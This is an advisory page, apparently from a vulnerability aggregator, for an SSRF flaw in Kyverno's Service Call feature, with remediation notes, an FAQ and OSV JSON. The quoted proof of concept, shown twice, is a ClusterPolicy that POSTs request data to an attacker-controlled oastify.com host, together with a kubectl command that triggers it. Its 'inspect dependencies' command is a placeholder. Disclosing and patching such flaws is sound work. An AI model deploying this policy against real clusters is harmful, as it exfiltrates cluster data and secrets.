GHSA-459x-q9hg-4gpq: Github.com/kyverno/kyverno Kyverno Vulnerable To SSRF Vulnerability

HIGH
CWE-918
Published
Advisory Summary

GHSA-459x-q9hg-4gpq is a HIGH kyverno vulnerable to ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/kyverno/kyverno libraries in the Go ecosystem. The issue involves kyverno vulnerable to ssrf via service calls. Remediation is available in the latest vendor maintenance releases.

GHSA-459x-q9hg-4gpq at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-459x-q9hg-4gpq
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Github.com/kyverno/kyverno
Package Ecosystem Go
Published Date
Last Updated

How to Fix GHSA-459x-q9hg-4gpq

To remediate this vulnerability, upgrade all affected Github.com/kyverno/kyverno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/kyverno/kyverno fixed: Latest secure release
Upgrade github.com/kyverno/kyverno to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/kyverno/kyverno

How to Check if You Are Affected

To determine whether your application is affected by GHSA-459x-q9hg-4gpq, inspect your project dependencies for Github.com/kyverno/kyverno:

inspect dependencies for github.com/kyverno/kyverno

Analyze the terminal output to locate any version of Github.com/kyverno/kyverno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/kyverno/kyverno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data. ### Details According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster. https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls ### PoC Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator. ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: check-namespaces spec: rules: - name: call-extension match: any: - resources: kinds: - ConfigMap context: - name: result apiCall: method: POST data: - key: namespace value: "{{request.namespace}}" service: url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload validate: message: "namespace {{request.namespace}} is not allowed" deny: conditions: all: - key: "{{ result.allowed }}" operator: Equals value: false ``` Now let's create some configmap: ```bash kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm ``` Look at the Burp Collaborator logs: <img width="723" alt="Снимок экрана 2025-02-21 в 17 31 25" src="https://github.com/user-attachments/assets/9445a71a-6687-430a-8476-3fd546bc2bf2" /> ### Impact An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.

GHSA-459x-q9hg-4gpq Affected Github.com/kyverno/kyverno Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/kyverno/kyverno
Go
≤ 1.13.4

References

Frequently Asked Questions

What is GHSA-459x-q9hg-4gpq?
GHSA-459x-q9hg-4gpq is a security vulnerability in Github.com/kyverno/kyverno involving Kyverno vulnerable to SSRF via Service Calls under CWE-918: Server-Side Request Forgery (SSRF).
Which Github.com/kyverno/kyverno versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/kyverno/kyverno.
What version fixes GHSA-459x-q9hg-4gpq?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/kyverno/kyverno affected?
Yes, github.com/kyverno/kyverno is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with GHSA-459x-q9hg-4gpq?
GHSA-459x-q9hg-4gpq is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for GHSA-459x-q9hg-4gpq?
Run the dependency tree command: 'inspect dependencies for github.com/kyverno/kyverno'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-459x-q9hg-4gpq",
  "modified" : "2025-04-23T15:11:02Z",
  "published" : "2025-04-15T21:19:37Z",
  "aliases" : [ ],
  "summary" : "Kyverno vulnerable to SSRF via Service Calls",
  "details" : "### Summary\nAn attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.\n\n### Details\nAccording to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.\n\nhttps://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls\n\n### PoC\nCreate a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: check-namespaces      \nspec:\n  rules:\n  - name: call-extension\n    match:\n      any:\n      - resources:\n          kinds:\n          - ConfigMap\n    context:\n    - name: result\n      apiCall:\n        method: POST\n        data:\n        - key: namespace\n          value: \"{{request.namespace}}\"\n        service:\n          url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload          \n    validate:\n      message: \"namespace {{request.namespace}} is not allowed\"\n      deny:\n        conditions:\n          all:\n          - key: \"{{ result.allowed }}\"\n            operator: Equals\n            value: false\n```\nNow let's create some configmap:\n```bash\nkubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm\n```\nLook at the Burp Collaborator logs:\n<img width=\"723\" alt=\"Снимок экрана 2025-02-21 в 17 31 25\" src=\"https://github.com/user-attachments/assets/9445a71a-6687-430a-8476-3fd546bc2bf2\" />\n\n\n### Impact\nAn attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kyverno/kyverno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.13.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-459x-q9hg-4gpq"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kyverno/kyverno"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2025-3615"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-04-15T21:19:37Z",
    "nvd_published_at" : null
  }
}